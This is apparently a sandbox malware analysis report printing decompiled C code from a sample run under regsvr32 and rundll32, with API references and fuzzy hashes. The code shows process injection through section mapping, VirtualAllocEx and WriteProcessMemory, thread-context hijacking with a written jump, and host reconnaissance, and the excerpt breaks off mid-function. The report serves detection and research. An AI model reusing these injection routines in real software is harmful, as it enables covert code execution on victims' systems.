						__eflags =  *_t65 - _t260 - _t232;
						if( *_t65 - _t260 <= _t232) {
							_t67 = _t272 + 0x38; // 0xf47d8bff
							_t261 = _t260 - _t224;
							 *(_t272 + 0x6c) = _t261;
							memcpy( *_t67,  *_t67 + _t224, _t261);
							_t70 = _t272 + 0x16b0; // 0x8508458b
							_t188 =  *_t70;
							_t273 = _t273 + 0xc;
							_t232 = _a4;
							__eflags = _t188 - 2;
							if(_t188 < 2) {
								_t189 = _t188 + 1;
								__eflags = _t189;
								 *(_t272 + 0x16b0) = _t189;
							}
						}
						_t73 = _t272 + 0x38; // 0xf47d8bff
						_t74 = _t272 + 0x6c; // 0x51ec8b55
						memcpy( *_t73 +  *_t74,  *((intOrPtr*)( *_t272)) - _t232, _t232);
						_t225 = _a4;
						_t273 = _t273 + 0xc;
						_t76 = _t272 + 0x6c;
						 *_t76 =  *(_t272 + 0x6c) + _t225;
						__eflags =  *_t76;
						_t78 = _t272 + 0x6c; // 0x51ec8b55
						_t184 =  *_t78;
						_t79 = _t272 + 0x2c; // 0x8df075ff
						_t239 =  *_t79;
					} else {
						 *(_t272 + 0x16b0) = 2;
						_t61 = _t272 + 0x38; // 0xf47d8bff
						memcpy( *_t61,  *_t142 - _t224, _t224);
						_t62 = _t272 + 0x2c; // 0x8df075ff
						_t184 =  *_t62;
						_t273 = _t273 + 0xc;
						_t225 = _a4;
						_t239 = _t184;
						 *(_t272 + 0x6c) = _t184;
					}
					_t254 = _t184;
					 *(_t272 + 0x5c) = _t184;
					_t81 = _t272 + 0x16b4; // 0x830a74c0
					_t185 =  *_t81;
					_t240 = _t239 - _t185;
					_t241 =  <=  ? _t225 : _t240;
					_t242 = ( <=  ? _t225 : _t240) + _t185;
					 *((intOrPtr*)(_t272 + 0x16b4)) = ( <=  ? _t225 : _t240) + _t185;
				}
				if( *(_t272 + 0x16c0) < _t254) {
					 *(_t272 + 0x16c0) = _t254;
				}
				if(_t269 == 0) {
					_t218 = _a8;
					__eflags = _t218;
					if(_t218 == 0) {
						L34:
						_t89 = _t272 + 0x3c; // 0x830cc483
						_t219 =  *_t272;
						_t145 =  *_t89 - _t254 - 1;
						_a4 =  *_t272;
						_t234 = _t254;
						_v16 = _t145;
						_v8 = _t254;
						__eflags =  *((intOrPtr*)(_t219 + 4)) - _t145;
						if( *((intOrPtr*)(_t219 + 4)) > _t145) {
							_v8 = _t254;
							_t95 = _t272 + 0x5c; // 0xee85000
							_a4 = _t219;
							_t234 = _t254;
							_t97 = _t272 + 0x2c; // 0x8df075ff
							__eflags =  *_t95 -  *_t97;
							if( *_t95 >=  *_t97) {
								_t98 = _t272 + 0x2c; // 0x8df075ff
								_t167 =  *_t98;
								_t259 = _t254 - _t167;
								_t99 = _t272 + 0x38; // 0xf47d8bff
								 *(_t272 + 0x5c) =  *(_t272 + 0x5c) - _t167;
								 *(_t272 + 0x6c) = _t259;
								memcpy( *_t99, _t167 +  *_t99, _t259);
								_t103 = _t272 + 0x16b0; // 0x8508458b
								_t170 =  *_t103;
								_t273 = _t273 + 0xc;
								__eflags = _t170 - 2;
								if(_t170 < 2) {
									_t172 = _t170 + 1;
									__eflags = _t172;
									 *(_t272 + 0x16b0) = _t172;
								}
								_t106 = _t272 + 0x2c; // 0x8df075ff
								_t145 = _v16 +  *_t106;
								__eflags = _t145;
								_a4 =  *_t272;
								_t108 = _t272 + 0x6c; // 0x51ec8b55
								_t234 =  *_t108;
								_v8 = _t234;
							}
						}
						_t255 = _a4;
						_t220 =  *((intOrPtr*)(_a4 + 4));
						__eflags = _t145 - _t220;
						_t221 =  <=  ? _t145 : _t220;
						_t146 = _t221;
						_a4 = _t221;
						_t222 = _a8;
						__eflags = _t146;
						if(_t146 != 0) {
							_t114 = _t272 + 0x38; // 0xf47d8bff
							E009A6020(_t255,  *_t114 + _v8, _t146);
							_t273 = _t273 + 0xc;
							_t117 = _t272 + 0x6c;
							 *_t117 =  *(_t272 + 0x6c) + _a4;
							__eflags =  *_t117;
							_t119 = _t272 + 0x6c; // 0x51ec8b55
							_t234 =  *_t119;
						}
						__eflags =  *(_t272 + 0x16c0) - _t234;
						if( *(_t272 + 0x16c0) < _t234) {
							 *(_t272 + 0x16c0) = _t234;
						}
						_t122 = _t272 + 0x16bc; // 0x5d08408b
						_t123 = _t272 + 0xc; // 0x452bf84d
						_t257 =  *_t123 - ( *_t122 + 0x2a >> 3);
						__eflags = _t257 - 0xffff;
						_t258 =  >  ? 0xffff : _t257;
						_t124 = _t272 + 0x2c; // 0x8df075ff
						_t151 =  *_t124;
						_t125 = _t272 + 0x5c; // 0xee85000
						_t235 = _t234 -  *_t125;
						__eflags = _t258 - _t151;
						_t152 =  <=  ? _t258 : _t151;
						__eflags = _t235 - ( <=  ? _t258 : _t151);
						if(_t235 >= ( <=  ? _t258 : _t151)) {
							L49:
							__eflags = _t235 - _t258;
							_t154 =  >  ? _t258 : _t235;
							_a4 =  >  ? _t258 : _t235;
							__eflags = _t222 - 4;
							if(_t222 != 4) {
								L53:
								_t269 = 0;
								__eflags = 0;
							} else {
								_t161 =  *_t272;
								__eflags =  *(_t161 + 4);
								_t154 = _a4;
								if( *(_t161 + 4) != 0) {
									goto L53;
								} else {
									__eflags = _t154 - _t235;
									if(_t154 != _t235) {
										goto L53;
									} else {
										_t269 = _t222 - 3;
									}
								}
							}
							_t131 = _t272 + 0x38; // 0xf47d8bff
							_t132 = _t272 + 0x5c; // 0xee85000
							E009A7180(_t272, _t272,  *_t131 +  *_t132, _t154, _t269);
							_t134 = _t272 + 0x5c;
							 *_t134 =  *(_t272 + 0x5c) + _a4;
							__eflags =  *_t134;
							E009A5EE0( *_t134,  *_t272);
						} else {
							__eflags = _t235;
							if(_t235 != 0) {
								L46:
								__eflags = _t222;
								if(_t222 != 0) {
									_t162 =  *_t272;
									__eflags =  *(_t162 + 4);
									if( *(_t162 + 4) == 0) {
										__eflags = _t235 - _t258;
										if(_t235 <= _t258) {
											goto L49;
										}
									}
								}
							} else {
								__eflags = _t222 - 4;
								if(_t222 == 4) {
									goto L46;
								}
							}
						}
						asm("sbb edi, edi");
						_t271 =  ~_t269 & 0x00000002;
						__eflags = _t271;
						return _t271;
					} else {
						__eflags = _t218 - 4;
						if(_t218 == 4) {
							goto L34;
						} else {
							_t173 =  *_t272;
							__eflags =  *(_t173 + 4);
							if( *(_t173 + 4) != 0) {
								goto L34;
							} else {
								_t88 = _t272 + 0x5c; // 0xee85000
								__eflags = _t254 -  *_t88;
								if(_t254 !=  *_t88) {
									goto L34;
								} else {
									return 1;
								}
							}
						}
					}
				} else {
					return 3;
				}
			}

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APIs

memcpy.MSVCRT ref: 009A426D
memcpy.MSVCRT ref: 009A42E4
memcpy.MSVCRT ref: 009A4313
memcpy.MSVCRT ref: 009A433F
memcpy.MSVCRT ref: 009A43F4

Part of subcall function 009A7180: memcpy.MSVCRT ref: 009A725E

Part of subcall function 009A5EE0: memcpy.MSVCRT ref: 009A5F0A

Memory Dump Source

Source File: 00000003.00000002.269120079.0000000000990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

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Snapshot File: hcaresult_3_2_990000_regsvr32.jbxd

Yara matches

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 03b0abeb86da1b833a58bdc3ae0fa7b72a6af37fe1020f7e2813aec2e01359af
Instruction ID: 7f209831dea3d48f1611e155d6d65b02c5f919c1b971d3356a80ced1d80759e8
Opcode Fuzzy Hash: 03b0abeb86da1b833a58bdc3ae0fa7b72a6af37fe1020f7e2813aec2e01359af
Instruction Fuzzy Hash: E6D12275A00B009FCB24CF6DC9C4A6AB7E5FF89304B24892DE89AC7711D771E945CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0099D309 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 117
libraryCOMMON

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C-Code - Quality: 89%

			E0099D309(void* __ebx, void* __edx, void* __edi, void* __esi) {
				char _v8;
				char _v12;
				char _v140;
				signed char _t14;
				char _t15;
				intOrPtr _t20;
				void* _t25;
				intOrPtr _t26;
				intOrPtr _t32;
				WCHAR* _t34;
				intOrPtr _t35;
				struct HINSTANCE__* _t37;
				intOrPtr _t38;
				intOrPtr _t46;
				void* _t47;
				intOrPtr _t50;
				void* _t60;
				void* _t61;
				char _t62;
				void* _t65;
				intOrPtr _t66;
				char _t68;

				_t65 = __esi;
				_t61 = __edi;
				_t47 = __ebx;
				_t50 =  *0x9af8d4; // 0x452fc00
				_t14 =  *(_t50 + 0x1898);
				if(_t14 == 0x100 ||  *((intOrPtr*)(_t50 + 4)) >= 0xa && (_t14 & 0x00000004) != 0) {
					_t15 = E00999F85(_t50, 0xb9d);
					_t66 =  *0x9af8d4; // 0x452fc00
					_t62 = _t15;
					_t67 = _t66 + 0xb0;
					_v8 = _t62;
					E00999FE4( &_v140, 0x40, L"%08x", E0099E34A(_t66 + 0xb0, E0099A5D0(_t66 + 0xb0), 0));
					_t20 =  *0x9af8d4; // 0x452fc00
					asm("sbb eax, eax");
					_t25 = E00999F85(_t67, ( ~( *(_t20 + 0xa8)) & 0xfffffeb6) + 0xded);
					_t26 =  *0x9af8d4; // 0x452fc00
					_t68 = E00999C50(_t26 + 0x1020);
					_v12 = _t68;
					E00998D9A( &_v8);
					_t32 =  *0x9af8d4; // 0x452fc00
					_t34 = E00999C50(_t32 + 0x122a);
					 *0x9af9d4 = _t34;
					_t35 =  *0x9af8d0; // 0x452f8c0
					 *((intOrPtr*)(_t35 + 0x11c))(_t68, _t34, 0, 0x9ac9d8,  &_v140, ".", L"dll", 0, 0x9ac9d8, _t25, 0x9ac9d8, _t62, 0, _t61, _t65, _t47);
					_t37 = LoadLibraryW( *0x9af9d4);
					 *0x9af9cc = _t37;
					if(_t37 == 0) {
						_t38 = 0;
					} else {
						_push(_t37);
						_t60 = 0x28;
						_t38 = E0099F08E(0x9acbc4, _t60);
					}
					 *0x9af9d0 = _t38;
					E00998DDF( &_v12, 0xfffffffe);
					E00998F63( &_v140, 0, 0x80);
					if( *0x9af9d0 != 0) {
						goto L10;
					} else {
						E00998DDF(0x9af9d4, 0xfffffffe);
						goto L8;
					}
				} else {
					L8:
					if( *0x9af9d0 == 0) {
						_t46 =  *0x9af908; // 0x452fa00
						 *0x9af9d0 = _t46;
					}
					L10:
					return 1;
				}
			}

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APIs

LoadLibraryW.KERNEL32 ref: 0099D403

Strings

%08x, xrefs: 0099D36A
dll, xrefs: 0099D3C5

Memory Dump Source

Source File: 00000003.00000002.269120079.0000000000990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

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Snapshot File: hcaresult_3_2_990000_regsvr32.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: %08x$dll
API String ID: 1029625771-2963171978
Opcode ID: f50a60e3f6a2d1633b9c3efbcf939d226613035a25ce0f5bd789f2aea3753152
Instruction ID: 76b57a9348df54fb75bfd6d2cd82f155a7d852adc29e8a56a29b2db07052e409
Opcode Fuzzy Hash: f50a60e3f6a2d1633b9c3efbcf939d226613035a25ce0f5bd789f2aea3753152
Instruction Fuzzy Hash: 9E3170B2615204ABDB10EBACDC56FAB33ECEF86714F14417AB109D75A1DE389D4087A1

Uniqueness

Uniqueness Score: -1.00%

Function 009A36D5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55
stringCOMMON

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C-Code - Quality: 47%

			E009A36D5(void* __eflags, long long __fp0, intOrPtr _a4, intOrPtr _a8, signed int _a12) {
				char _v5;
				long long _v12;
				short _v20;
				signed int _t15;
				void* _t16;
				signed int _t22;
				char _t25;
				void* _t26;
				signed int _t28;
				intOrPtr _t29;
				void* _t31;
				char** _t32;
				long long _t40;
				long long _t41;

				_t40 = __fp0;
				_t15 = E009A35EE(_a4);
				 *_t32 = "msxml32.dll";
				_t28 = _t15 & 0x0fffffff;
				_t16 = E0099A5D0();
				_t26 = 0xf;
				_t25 = 0;
				_v5 = 0;
				if(_t16 > _t26) {
					L2:
					_t3 = _t25 + 0x41; // 0x41
					 *((char*)(_t31 + _t25 - 0x10)) = _t3;
					_t25 = _t25 + 1;
				} else {
					_t26 = _t16;
					if(_t26 != 0) {
						do {
							goto L2;
						} while (_t25 < _t26);
					}
				}
				lstrlenW( &_v20);
				_t29 = _a8;
				_t22 = _a12 - _t29 + 1;
				_a12 = _t22;
				asm("fild dword [ebp+0x10]");
				if(_t22 < 0) {
					_t40 = _t40 +  *0x9acf90;
				}
				_a12 = _t28;
				_v12 = _t40;
				_t41 = _v12;
				asm("fild dword [ebp+0x10]");
				if(_t28 < 0) {
					_t41 = _t41 +  *0x9acf90;
				}
				_v12 = _t41;
				asm("fmulp st1, st0");
				L009A8995();
				return _t29 - _t22;
			}

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APIs

lstrlenW.KERNEL32(?,000000B0,000000B0,?,00000000,000000B0,00000228), ref: 009A371C
_ftol2_sse.MSVCRT ref: 009A375F

Strings

msxml32.dll, xrefs: 009A36E7

Memory Dump Source

Source File: 00000003.00000002.269120079.0000000000990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_990000_regsvr32.jbxd

Yara matches

Similarity

API ID: _ftol2_sselstrlen
String ID: msxml32.dll
API String ID: 1292649733-2051705522
Opcode ID: 066130ded4274e14e535777ca92309a176b32fe7e0c75d36529bbb2ffeb3d8f3
Instruction ID: 80eeedb99f360794c0bff557ef15581be560cec0bf4a769c5edfa8869e293f70
Opcode Fuzzy Hash: 066130ded4274e14e535777ca92309a176b32fe7e0c75d36529bbb2ffeb3d8f3
Instruction Fuzzy Hash: 9A1108B2A04259ABCF009F69E8051DE7FB5FF96310F268559F855C6255EB30C660C7C1

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: rundll32.exePID: 5792, Parent PID: 5900COMMON

Execution Graph

Execution Coverage:	6.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	2000
Total number of Limit Nodes:	52

Executed Functions

Function 0445D538 Relevance: 28.2, APIs: 12, Strings: 4, Instructions: 223
nativeregistrymemoryCOMMON

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Executed
Not Executed

C-Code - Quality: 95%

			E0445D538(void* __ecx, intOrPtr __edx) {
				void* _v8;
				void* _v12;
				void* _v16;
				void* _v20;
				long _v24;
				long _v28;
				short _v32;
				char _v36;
				intOrPtr* _v40;
				intOrPtr _v44;
				long _v48;
				void* _v52;
				void* _v53;
				char _v64;
				short _v68;
				struct _WNDCLASSEXA _v116;
				char _t81;
				intOrPtr* _t83;
				intOrPtr _t87;
				intOrPtr _t90;
				char _t97;
				short _t98;
				intOrPtr _t105;
				long _t107;
				char _t119;
				void* _t124;
				struct HWND__* _t132;
				void* _t138;
				void* _t147;
				void* _t154;
				intOrPtr _t155;
				intOrPtr _t157;
				void* _t158;
				void* _t163;
				void* _t165;

				_t81 =  *0x446f8d4; // 0x450fc00
				_t138 = 0;
				_v12 = __ecx;
				_t157 = __edx;
				_v20 = 0;
				_v52 = 0;
				_v48 = 0;
				_v16 = 0;
				_v8 = 0;
				_v24 = 0;
				_v44 = __edx;
				if(( *(_t81 + 0x1898) & 0x00000040) != 0) {
					E0445F15B(0x1f4);
				}
				_t12 = _t157 + 0x3c; // 0x852c50ff
				_t83 =  *_t12 + _t157;
				_v28 = _t138;
				_v40 = _t83;
				if( *_t83 != 0x4550) {
					L14:
					_t158 = _v12;
					L15:
					if(_v8 != _t138) {
						_t90 =  *0x446f9d0; // 0x450fa00
						 *((intOrPtr*)(_t90 + 0x10))(_t158, _v8);
						_v8 = _t138;
					}
					L17:
					if(_v16 != 0) {
						_t87 =  *0x446f8d0; // 0x450f8c0
						NtUnmapViewOfSection( *((intOrPtr*)(_t87 + 0x12c))(), _v16);
					}
					if(_v20 != 0) {
						NtClose(_v20);
					}
					return _v8;
				}
				_v52 =  *((intOrPtr*)(_t83 + 0x50));
				if(NtCreateSection( &_v20, 0xe, _t138,  &_v52, 0x40, 0x8000000, _t138) < 0) {
					goto L14;
				}
				_t97 =  *"18293"; // 0x39323831
				_v36 = _t97;
				_t98 =  *0x446ce70; // 0x33
				_v32 = _t98;
				_v116.lpszClassName =  &_v64;
				asm("movsd");
				_v116.lpfnWndProc = DefWindowProcW;
				_v116.cbWndExtra = _t138;
				asm("movsd");
				_v116.style = 0xb;
				_v116.lpszMenuName = _t138;
				_v116.cbSize = 0x30;
				asm("movsb");
				_v116.cbClsExtra = _t138;
				_v116.hInstance = _t138;
				if(RegisterClassExA( &_v116) != 0) {
					_t132 = CreateWindowExA(_t138,  &_v64,  &_v36, 0xcf0000, 0x80000000, 0x80000000, 0x1f4, 0x64, _t138, _t138, _t138, _t138);
					if(_t132 != 0) {
						DestroyWindow(_t132);
						UnregisterClassA( &_v64, _t138);
					}
				}
				_t105 =  *0x446f8d0; // 0x450f8c0
				_t107 = NtMapViewOfSection(_v20,  *((intOrPtr*)(_t105 + 0x12c))(),  &_v16, _t138, _t138, _t138,  &_v24, 2, _t138, 0x40);
				_t158 = _v12;
				if(_t107 < 0 || NtMapViewOfSection(_v20, _t158,  &_v8, _t138, _t138, _t138,  &_v24, 2, _t138, 0x40) < 0) {
					goto L15;
				} else {
					_t154 = E04458E2E( *0x446f8d4, 0x1ac4);
					_v36 = _t154;
					if(_t154 == 0) {
						goto L15;
					}
					 *((intOrPtr*)(_t154 + 0x224)) = _v8;
					_t163 = VirtualAllocEx(_t158, _t138, 0x1ac4, 0x1000, 4);
					WriteProcessMemory(_v12, _t163, _t154, 0x1ac4,  &_v28);
					E04458DDF( &_v36, 0x1ac4);
					_t119 =  *0x446f8d4; // 0x450fc00
					_t155 =  *0x446f8e8; // 0x4450000
					_v36 = _t119;
					 *0x446f8e8 = _v8;
					 *0x446f8d4 = _t163;
					E04458EA6(_v16, _v44,  *((intOrPtr*)(_v40 + 0x50)));
					E0445D4B7(_v16, _v8, _v44);
					_t124 = E0445A5D0("Jjischug");
					_v53 = _t138;
					_t147 = 0xf;
					if(_t124 > _t147) {
						do {
							L12:
							_t63 = _t138 + 0x41; // 0x41
							 *((char*)(_t165 + _t138 - 0x40)) = _t63;
							_t138 = _t138 + 1;
						} while (_t138 < _t147);
						L13:
						lstrlenW( &_v68);
						 *0x446f8e8 = _t155;
						 *0x446f8d4 = _v36;
						goto L17;
					}
					_t147 = _t124;
					if(_t147 == 0) {
						goto L13;
					}
					goto L12;
				}
			}

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APIs

NtCreateSection.NTDLL(0445DA07,0000000E,00000000,?,00000040,08000000,00000000,?), ref: 0445D5AA
RegisterClassExA.USER32(?), ref: 0445D5FE
CreateWindowExA.USER32 ref: 0445D629
DestroyWindow.USER32(00000000), ref: 0445D634
UnregisterClassA.USER32 ref: 0445D63F
NtMapViewOfSection.NTDLL(0445DA07,00000000), ref: 0445D66A
NtMapViewOfSection.NTDLL(0445DA07,00000000,00000000,00000000,00000000,00000000,?,00000002,00000000,00000040), ref: 0445D691
VirtualAllocEx.KERNELBASE(00000000,00000000,00001AC4,00001000,00000004), ref: 0445D6D7
WriteProcessMemory.KERNELBASE(00000000,00000000,00000000,00001AC4,?), ref: 0445D6F1

Part of subcall function 04458DDF: HeapFree.KERNEL32(00000000,00000000), ref: 04458E25

lstrlenW.KERNEL32(?,?,?,?,?,?,00000000,04456297), ref: 0445D769
NtUnmapViewOfSection.NTDLL(00000000), ref: 0445D7B1
NtClose.NTDLL(00000000), ref: 0445D7C5

Strings

18293, xrefs: 0445D5B5
Jjischug, xrefs: 0445D73C
0, xrefs: 0445D5F0
aeroflot, xrefs: 0445D5C0

Memory Dump Source

Source File: 00000004.00000002.269061857.0000000004450000.00000040.00000800.00020000.00000000.sdmp, Offset: 04450000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4450000_rundll32.jbxd

Yara matches

Similarity

API ID: Section$View$ClassCreateWindow$AllocCloseDestroyFreeHeapMemoryProcessRegisterUnmapUnregisterVirtualWritelstrlen
String ID: 0$18293$Jjischug$aeroflot
API String ID: 494031690-3772587274
Opcode ID: c3b94c7bb17a5d23f20207a56f288ea514daba769a68b28326ad7d13574b505c
Instruction ID: ee53e06438784baf6fb0a029e7303562a81c3fa22c76b59882adc454ba402b36
Opcode Fuzzy Hash: c3b94c7bb17a5d23f20207a56f288ea514daba769a68b28326ad7d13574b505c
Instruction Fuzzy Hash: 5881F5B5E00219EFEF10DF95E884AEEBBB8FF08704F14406AE945A7261D774AD04CB65

Uniqueness

Uniqueness Score: -1.00%

Function 0445D9DE Relevance: 6.1, APIs: 4, Instructions: 89
nativethreadCOMMON

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Executed
Not Executed

C-Code - Quality: 100%

			E0445D9DE(void* __ecx, void** __edx, void* __eflags, intOrPtr _a4) {
				long _v8;
				long _v12;
				void* _v16;
				intOrPtr _v23;
				void _v24;
				long _v28;
				struct _CONTEXT _v744;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t33;
				void* _t57;
				long _t59;
				void* _t62;
				void** _t65;
				void* _t66;

				_t65 = __edx;
				_t57 = __ecx;
				_t66 = 0;
				if(E0445D309(__ecx, __edx, __edx, 0) != 0) {
					_t33 = E0445D538( *((intOrPtr*)(__edx)), _a4); // executed
					_t66 = _t33;
					if(_t66 != 0) {
						E04458F63( &_v744, 0, 0x2cc);
						_v744.ContextFlags = 0x10002;
						if(GetThreadContext(_t65[1],  &_v744) != 0) {
							_t62 = _v744.Eax;
							_v12 = _v12 & 0x00000000;
							_v24 = 0xe9;
							_t59 = 5;
							_v23 = _t66 - _t62 - _a4 + _t57 + 0xfffffffb;
							_v8 = _t59;
							_v16 = _t62;
							if(NtProtectVirtualMemory( *_t65,  &_v16,  &_v8, 4,  &_v12) < 0 || NtWriteVirtualMemory( *_t65, _v744.Eax,  &_v24, _t59,  &_v8) < 0) {
								L6:
								_t66 = 0;
							} else {
								_v28 = _v28 & 0x00000000;
								if(NtProtectVirtualMemory( *_t65,  &_v16,  &_v8, _v12,  &_v28) < 0) {
									goto L6;
								}
							}
						}
					}
				}
				E0445D47C();
				return _t66;
			}

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APIs

Part of subcall function 0445D309: LoadLibraryW.KERNEL32 ref: 0445D403

Part of subcall function 0445D538: NtCreateSection.NTDLL(0445DA07,0000000E,00000000,?,00000040,08000000,00000000,?), ref: 0445D5AA
Part of subcall function 0445D538: RegisterClassExA.USER32(?), ref: 0445D5FE
Part of subcall function 0445D538: CreateWindowExA.USER32 ref: 0445D629
Part of subcall function 0445D538: DestroyWindow.USER32(00000000), ref: 0445D634
Part of subcall function 0445D538: UnregisterClassA.USER32 ref: 0445D63F

Part of subcall function 04458F63: memset.MSVCRT ref: 04458F75

GetThreadContext.KERNELBASE(?,00010002,00000000,00000000,00000000), ref: 0445DA40
NtProtectVirtualMemory.NTDLL(?,?,?,00000004,00000000), ref: 0445DA89
NtWriteVirtualMemory.NTDLL(?,?,000000E9,00000005,?), ref: 0445DAA6
NtProtectVirtualMemory.NTDLL(?,?,?,00000000,00000000), ref: 0445DAC7

Memory Dump Source

Source File: 00000004.00000002.269061857.0000000004450000.00000040.00000800.00020000.00000000.sdmp, Offset: 04450000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4450000_rundll32.jbxd

Yara matches

Similarity

API ID: MemoryVirtual$ClassCreateProtectWindow$ContextDestroyLibraryLoadRegisterSectionThreadUnregisterWritememset
String ID:
API String ID: 1578692462-0
Opcode ID: a60e76562fac9f42f4ea54f85519c91da7d9e04721cc24148dd3494585f087ec
Instruction ID: 2be7cc27c53be5091b5556af9bc4979ed54cad9c5cb451e19ee99af6b293b3ab
Opcode Fuzzy Hash: a60e76562fac9f42f4ea54f85519c91da7d9e04721cc24148dd3494585f087ec
Instruction Fuzzy Hash: 3E312FB2A00109AFEF11DFA5D944FDEB7B8EF48214F1441A6E905E2261D770EE44CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0445DFC2 Relevance: 17.8, APIs: 5, Strings: 5, Instructions: 250
COMMON

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Control-flow Graph

Executed
Not Executed

C-Code - Quality: 79%

			E0445DFC2(void* __fp0) {
				char _v8;
				char _v12;
				char _v16;
				char _v144;
				char _v656;
				char _v668;
				char _v2644;
				void* __esi;
				struct _OSVERSIONINFOA* _t68;
				intOrPtr _t70;
				void* _t71;
				intOrPtr _t73;
				void* _t74;
				intOrPtr _t75;
				intOrPtr* _t77;
				intOrPtr _t79;
				intOrPtr _t80;
				intOrPtr _t81;
				intOrPtr _t87;
				int _t90;
				intOrPtr _t92;
				void* _t93;
				void* _t97;
				intOrPtr _t99;
				intOrPtr _t101;
				short _t106;
				char _t108;
				intOrPtr _t113;
				intOrPtr _t116;
				intOrPtr _t119;
				intOrPtr _t123;
				intOrPtr _t134;
				intOrPtr _t136;
				intOrPtr _t138;
				intOrPtr _t141;
				intOrPtr _t143;
				intOrPtr _t148;
				void* _t149;
				WCHAR* _t150;
				char* _t151;
				intOrPtr _t162;
				intOrPtr _t177;
				void* _t191;
				struct _OSVERSIONINFOA* _t192;
				void* _t193;
				void* _t195;
				char _t198;
				void* _t199;
				char* _t200;
				void* _t203;
				int* _t204;
				void* _t216;

				_t216 = __fp0;
				_t148 =  *0x446f8e8; // 0x4450000
				_t68 = E04458DC9(0x1ac4);
				_t192 = _t68;
				if(_t192 != 0) {
					 *((intOrPtr*)(_t192 + 0x1640)) = GetCurrentProcessId();
					_t70 =  *0x446f8d0; // 0x450f8c0
					_t71 =  *((intOrPtr*)(_t70 + 0xac))(_t193);
					_t3 = _t192 + 0x648; // 0x648
					E044635A9( *((intOrPtr*)(_t192 + 0x1640)) + _t71, _t3);
					_t73 =  *0x446f8d0; // 0x450f8c0
					_t5 = _t192 + 0x1644; // 0x1644
					_t194 = _t5;
					_t74 =  *((intOrPtr*)(_t73 + 0x128))(0, _t5, 0x105);
					_t207 = _t74;
					if(_t74 != 0) {
						 *((intOrPtr*)(_t192 + 0x1854)) = E044597E9(_t194, _t207);
					}
					_t75 =  *0x446f8d0; // 0x450f8c0
					_t77 = E0445CA0A( *((intOrPtr*)(_t75 + 0x12c))()); // executed
					 *((intOrPtr*)(_t192 + 0x110)) = _t77;
					_t159 =  *_t77;
					if(E0445CB85( *_t77) == 0) {
						_t79 = E0445CA5A(_t159, _t194); // executed
						__eflags = _t79;
						_t162 = (0 | _t79 > 0x00000000) + 1;
						__eflags = _t162;
						 *((intOrPtr*)(_t192 + 0x214)) = _t162;
					} else {
						 *((intOrPtr*)(_t192 + 0x214)) = 3;
					}
					_t14 = _t192 + 0x220; // 0x220, executed
					_t80 = E0445F3A0(_t14); // executed
					 *((intOrPtr*)(_t192 + 0x218)) = _t80;
					_t81 = E0445F365(_t14); // executed
					 *((intOrPtr*)(_t192 + 0x21c)) = _t81;
					_t17 = _t192 + 0x114; // 0x114
					_t195 = _t17;
					 *((intOrPtr*)(_t192 + 0x224)) = _t148;
					_push( &_v16);
					_v12 = 0x80;
					_push( &_v8);
					_v8 = 0x100;
					_push( &_v656);
					_push( &_v12);
					_push(_t195);
					_push( *((intOrPtr*)( *((intOrPtr*)(_t192 + 0x110)))));
					_t87 =  *0x446f8d8; // 0x450fab0
					_push(0); // executed
					if( *((intOrPtr*)(_t87 + 0x6c))() == 0) {
						GetLastError();
					}
					_t90 = GetSystemMetrics(0x1000);
					_t28 = _t192 + 0x228; // 0x228
					_t149 = _t28;
					 *(_t192 + 0x1850) = 0 | _t90 > 0x00000000;
					E0445DFBB(_t149); // executed
					_t211 = _t149;
					if(_t149 != 0) {
						 *((intOrPtr*)(_t192 + 0x434)) = E044597E9(_t149, _t211);
					}
					_t92 = E0445C85A();
					_t33 = _t192 + 0xb0; // 0xb0
					_t196 = _t33;
					 *((intOrPtr*)(_t192 + 0xac)) = _t92;
					_t93 = E0445C64D(_t92, _t33, _t211, _t216);
					_t35 = _t192 + 0xd0; // 0xd0
					E04459BD5(_t93, _t33, _t35);
					_t36 = _t192 + 0x438; // 0x438
					E04459803(_t149, _t36);
					_t97 = E0445E34A(_t196, E0445A5D0(_t33), 0);
					_t37 = _t192 + 0x100c; // 0x100c
					E0445C870(_t97, _t37, _t216);
					_t99 =  *0x446f8d0; // 0x450f8c0
					_t101 = E0445CBD7( *((intOrPtr*)(_t99 + 0x12c))(_t195)); // executed
					 *((intOrPtr*)(_t192 + 0x101c)) = _t101;
					E04458F63(_t192, 0, 0x9c);
					_t204 = _t203 + 0xc;
					_t192->dwOSVersionInfoSize = 0x9c;
					GetVersionExA(_t192);
					 *((intOrPtr*)(_t192 + 0xa8)) = E0445DDBE(_t100);
					_t106 = E0445DDE7(_t105);
					_t41 = _t192 + 0x1020; // 0x1020
					_t150 = _t41;
					 *((short*)(_t192 + 0x9c)) = _t106;
					GetWindowsDirectoryW(_t150, 0x104);
					_t108 = E04459F85(_t105, 0xf73);
					_t177 =  *0x446f8d0; // 0x450f8c0
					_t198 = _t108;
					 *_t204 = 0x104;
					_push( &_v668);
					_push(_t198);
					_v8 = _t198;
					if( *((intOrPtr*)(_t177 + 0xec))() == 0) {
						_t143 =  *0x446f8d0; // 0x450f8c0
						 *((intOrPtr*)(_t143 + 0x108))(_t198, _t150);
					}
					E04458D9A( &_v8);
					_t113 =  *0x446f8d0; // 0x450f8c0
					_t48 = _t192 + 0x1434; // 0x1434
					_t199 = _t48;
					 *_t204 = 0x209;
					_push(_t199);
					_push(L"USERPROFILE");
					if( *((intOrPtr*)(_t113 + 0xec))() == 0) {
						E04459FE4(_t199, 0x105, L"%s\\%s", _t150);
						_t141 =  *0x446f8d0; // 0x450f8c0
						_t204 =  &(_t204[5]);
						 *((intOrPtr*)(_t141 + 0x108))(L"USERPROFILE", _t199, "TEMP");
					}
					_push(0x20a);
					_t51 = _t192 + 0x122a; // 0x122a
					_t151 = L"TEMP";
